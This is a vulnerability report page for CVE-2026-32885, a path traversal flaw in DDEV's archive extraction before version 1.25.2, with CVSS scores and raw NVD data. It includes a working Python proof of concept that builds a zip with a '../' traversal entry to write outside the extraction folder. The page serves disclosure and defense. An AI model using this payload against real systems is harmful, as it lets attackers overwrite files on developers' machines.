Security Vulnerability Report
中文
CVE-2026-32885 CVSS 6.5 MEDIUM

CVE-2026-32885

Published: 2026-04-22 17:16:35
Last Modified: 2026-05-11 20:33:24

Description

DDEV is an open-source tool for running local web development environments for PHP and Node.js. Versions prior to 1.25.2 have unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. Downloads and extracts archives from remote sources without path validation. Version 1.25.2 patches the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ddev:ddev:*:*:*:*:*:*:*:* - VULNERABLE
DDEV < 1.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os # Proof of Concept for CVE-2026-32885 (Path Traversal via Unsanitized Extraction) # This script generates a malicious zip file containing a path traversal payload. filename = "malicious_ddev_exploit.zip" # Create a new zip file with zipfile.ZipFile(filename, 'w') as zf: # Construct a ZipInfo object to specify the filename # The filename uses "../" to traverse out of the intended extraction directory malicious_path = "../../../../tmp/pwned_by_ddev.txt" zinfo = zipfile.ZipInfo(filename=malicious_path) zinfo.compress_type = zipfile.ZIP_DEFLATED # Write content to the file inside the zip # If extracted by a vulnerable DDEV version, this content will be written to /tmp/ zf.writestr(zinfo, b"This file was written via CVE-2026-32885 vulnerability.") print(f"[+] Payload generated: {filename}") print(f"[+] Malicious file inside archive: {malicious_path}") print("[+] When DDEV < 1.25.2 extracts this, it will write outside the target folder.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32885", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:34.770", "lastModified": "2026-05-11T20:33:24.183", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DDEV is an open-source tool for running local web development environments for PHP and Node.js. Versions prior to 1.25.2 have unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. Downloads and extracts archives from remote sources without path validation. Version 1.25.2 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ddev:ddev:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.2", "matchCriteriaId": "02CC25E0-AC06-4A75-8C5E-609888883FDC"}]}]}], "references": [{"url": "https://github.com/ddev/ddev/releases/tag/v1.25.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}